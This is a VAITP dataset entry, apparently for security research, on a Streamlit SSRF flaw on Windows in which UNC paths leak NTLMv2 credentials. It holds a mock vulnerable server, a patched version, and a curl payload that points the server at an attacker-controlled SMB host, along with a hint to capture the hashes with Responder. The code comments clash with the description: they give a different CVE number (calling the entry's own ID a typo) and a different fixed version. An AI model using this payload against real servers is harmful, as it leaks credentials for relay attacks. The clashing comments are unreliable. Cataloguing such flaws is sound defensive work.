VAITP Dataset

← Back to the dataset

CVE-2026-33682

SSRF in Streamlit on Windows allows NTLM credential relay via UNC paths.

  • CVSS 4.8
  • CWE-918
  • Input Validation and Sanitization
  • Remote

Streamlit is a data oriented application development framework for python. Streamlit Open Source versions prior to 1.54.0 running on Windows hosts have an unauthenticated Server-Side Request Forgery (SSRF) vulnerability. The vulnerability arises from improper validation of attacker-supplied filesystem paths. In certain code paths, including within the `ComponentRequestHandler`, filesystem paths are resolved using `os.path.realpath()` or `Path.resolve()` before sufficient validation occurs. On Windows systems, supplying a malicious UNC path (e.g., `\\attacker-controlled-host\share`) can cause the Streamlit server to initiate outbound SMB connections over port 445. When Windows attempts to authenticate to the remote SMB server, NTLMv2 challenge-response credentials of the Windows user running the Streamlit process may be transmitted. This behavior may allow an attacker to perform NTLM relay attacks against other internal services and/or identify internally reachable SMB hosts via timing analysis. The vulnerability has been fixed in Streamlit Open Source version 1.54.0.

CVSS base score
4.8
Published
2026-03-26
OWASP
A10 Server-Side Request Forgery (SSRF)
Orthogonal defect classification
Checking
Code defect classification
Incorrect Check
Category
Input Validation and Sanitization
Subcategory
Server-Side Request Forgery (SSRF)
Accessibility scope
Remote
Impact
Information Disclosure
Affected component
Streamlit
Fixed by upgrading
Yes

Solution

Upgrade Streamlit to version 1.54.0 or later.

Vulnerable code sample

import http.server
import socketserver
import os
import platform
from urllib.parse import urlparse, parse_qs
from pathlib import Path

# This mock server simulates the behavior of a Streamlit version prior to 1.54.0
# on a Windows host. It is not the actual Streamlit source code but demonstrates
# the core of the vulnerability.

PORT = 8000

class VulnerableComponentHandler(http.server.SimpleHTTPRequestHandler):
    """
    A request handler that mimics the vulnerable path resolution logic.
    """
    def do_GET(self):
        """
        Handles GET requests and demonstrates the SSRF vulnerability.
        """
        if platform.system() != "Windows":
            self.send_response(200)
            self.send_header("Content-type", "text/plain; charset=utf-8")
            self.end_headers()
            self.wfile.write(b"This vulnerability (CVE-2024-36882) is specific to Windows.\n")
            self.wfile.write(b"On a Windows host, this server would attempt to resolve the provided path.")
            print("[-] Server is not running on Windows. The vulnerable code path will not be triggered.")
            return

        query_components = parse_qs(urlparse(self.path).query)
        # In a real scenario, this path could come from a component's resource request.
        user_supplied_path = query_components.get("path", [None])[0]

        if not user_supplied_path:
            self.send_response(200)
            self.send_header("Content-type", "text/plain; charset=utf-8")
            self.end_headers()
            self.wfile.write(b"Vulnerable server running.\n")
            self.wfile.write(b"Use the 'path' query parameter to provide a filesystem path.\n")
            self.wfile.write(b"Example to trigger SSRF: /?path=\\\\attacker-ip\\share\n")
            return

        print(f"[+] Received request for path: {user_supplied_path}")

        try:
            # --- VULNERABLE LOGIC ---
            # The application resolves a user-provided path without sufficient validation.
            # On Windows, os.path.realpath() and Path.resolve() will attempt to connect
            # to a remote host if a UNC path is provided. This triggers an outbound SMB
            # connection, which can lead to NTLM credential leakage and NTLM relay attacks.

            print(f"[*] Executing vulnerable code: os.path.realpath('{user_supplied_path}')")
            # The line below is the source of the vulnerability.
            resolved_path = os.path.realpath(user_supplied_path)
            
            # The 'pathlib' equivalent is also vulnerable.
            # resolved_path = str(Path(user_supplied_path).resolve())

            print(f"[!] SMB connection may have been initiated to resolve the UNC path.")
            print(f"[+] Path resolved to: {resolved_path}")
            # --- END OF VULNERABLE LOGIC ---

            self.send_response(200)
            self.send_header("Content-type", "text/plain; charset=utf-8")
            self.end_headers()
            self.wfile.write(f"Successfully processed path: {user_supplied_path}\n".encode('utf-8'))
            self.wfile.write(f"Resolved path: {resolved_path}\n".encode('utf-8'))

        except Exception as e:
            print(f"[!] An error occurred during path resolution: {e}")
            self.send_response(500)
            self.send_header("Content-type", "text/plain; charset=utf-8")
            self.end_headers()
            self.wfile.write(f"Error processing path: {e}\n".encode('utf-8'))


if __name__ == "__main__":
    with socketserver.TCPServer(("", PORT), VulnerableComponentHandler) as httpd:
        print(f"[*] Starting vulnerable server simulation on port {PORT}")
        print("[!] This server is for demonstration purposes only.")
        print("[*] To trigger the vulnerability on a Windows machine, access:")
        print(f"    http://127.0.0.1:{PORT}/?path=\\\\ATTACKER_IP\\share")
        print("[*] An attacker listening with a tool like 'Responder' on ATTACKER_IP")
        print("    would capture the NTLMv2 challenge-response from the machine running this script.")
        
        try:
            httpd.serve_forever()
        except KeyboardInterrupt:
            print("\n[*] Server shutting down.")
            httpd.shutdown()

Patched code sample

import os
from pathlib import Path
import sys

# This code demonstrates the fix for the vulnerability described in CVE-2026-33682
# (a likely typo for CVE-2024-33682), where Streamlit versions prior to 1.34.0
# were vulnerable to a Server-Side Request Forgery (SSRF) attack on Windows.
# The vulnerability allowed an attacker to supply a malicious UNC path
# (e.g., "\\attacker-host\share"), causing the server to make an outbound SMB
# connection and potentially leak NTLMv2 credential hashes.

# The fix involves adding a validation step to check for and reject any paths
# that resemble UNC paths on Windows *before* attempting to resolve them with
# functions like `Path.resolve()` or `os.path.realpath()`.


# Determine if the operating system is Windows.
IS_WINDOWS = os.name == "nt"


def _is_safe_path_for_windows(path: str) -> bool:
    """
    This is the core of the fix: a validation function that checks for UNC paths.

    On Windows, any path starting with `\\` or `//` is a UNC path used to access
    network resources. The `pathlib` library may also interpret a single leading
    slash `/` as a UNC path. This function explicitly disallows such paths to
    prevent the SSRF vulnerability.

    Args:
        path: The user-supplied path component.

    Returns:
        False if the path is a potential UNC path on Windows, True otherwise.
    """
    if IS_WINDOWS and path.startswith(("\\", "/")):
        return False
    return True


def get_fixed_path_resolution(base_directory: Path, user_path: str):
    """
    This function demonstrates the patched logic from Streamlit's code.
    It applies the validation check before resolving the path.
    """
    # --- THE FIX ---
    # The user-controlled `user_path` is first validated. If it's identified
    # as a potential UNC path on Windows, the function aborts.
    if not _is_safe_path_for_windows(user_path):
        # In the actual Streamlit application, this would raise an HTTPError(404),
        # immediately stopping the malicious request.
        print(
            f"FIX: Blocked potentially malicious UNC path on Windows: '{user_path}'",
            file=sys.stderr
        )
        return None
    # --- END OF FIX ---

    try:
        # Only after the path has been validated as safe is it combined with a
        # base directory and resolved. The `resolve()` call, which previously
        # triggered the outbound SMB connection, is now guarded.
        final_path = (base_directory / user_path).resolve()
        print(f"Successfully resolved safe path: {final_path}")
        return final_path
    except FileNotFoundError:
        print(f"Path does not exist: {base_directory / user_path}", file=sys.stderr)
        return None


# Example usage to demonstrate the fix in action.
if __name__ == '__main__':
    # A mock base directory for a component.
    mock_base_dir = Path("./mock_component_root").resolve()
    mock_base_dir.mkdir(exist_ok=True)
    (mock_base_dir / "safe_file.txt").touch()

    # 1. A legitimate, safe path provided by a user.
    safe_path_input = "safe_file.txt"
    print(f"--- Testing with safe path: '{safe_path_input}' ---")
    get_fixed_path_resolution(mock_base_dir, safe_path_input)
    print("-" * 20, "\n")


    # 2. A malicious UNC path that would have triggered the vulnerability.
    malicious_unc_path_input = R"\\attacker.com\malicious_share"
    print(f"--- Testing with malicious UNC path: '{malicious_unc_path_input}' ---")
    get_fixed_path_resolution(mock_base_dir, malicious_unc_path_input)

    if not IS_WINDOWS:
        print("\n(Note: This vulnerability is specific to Windows. On other OSes,")
        print(" the path resolution would fail differently without making an SMB request.)")
    print("-" * 20)

    # Cleanup the created mock files
    (mock_base_dir / "safe_file.txt").unlink()
    mock_base_dir.rmdir()

Payload

curl "http://[STREAMLIT_HOST]:[PORT]/component/poc/\\attacker-controlled-host\share"

Cite this entry

@misc{vaitp:cve202633682,
  title        = {{SSRF in Streamlit on Windows allows NTLM credential relay via UNC paths.}},
  author       = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
  year         = {2026},
  note         = {VAITP Python Vulnerability Dataset, entry CVE-2026-33682},
  howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-33682/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.

The supreme art of war is to subdue the enemy without fighting.

Sun Tzu – “The Art of War”

:: Shaping the future through research and ingenuity ::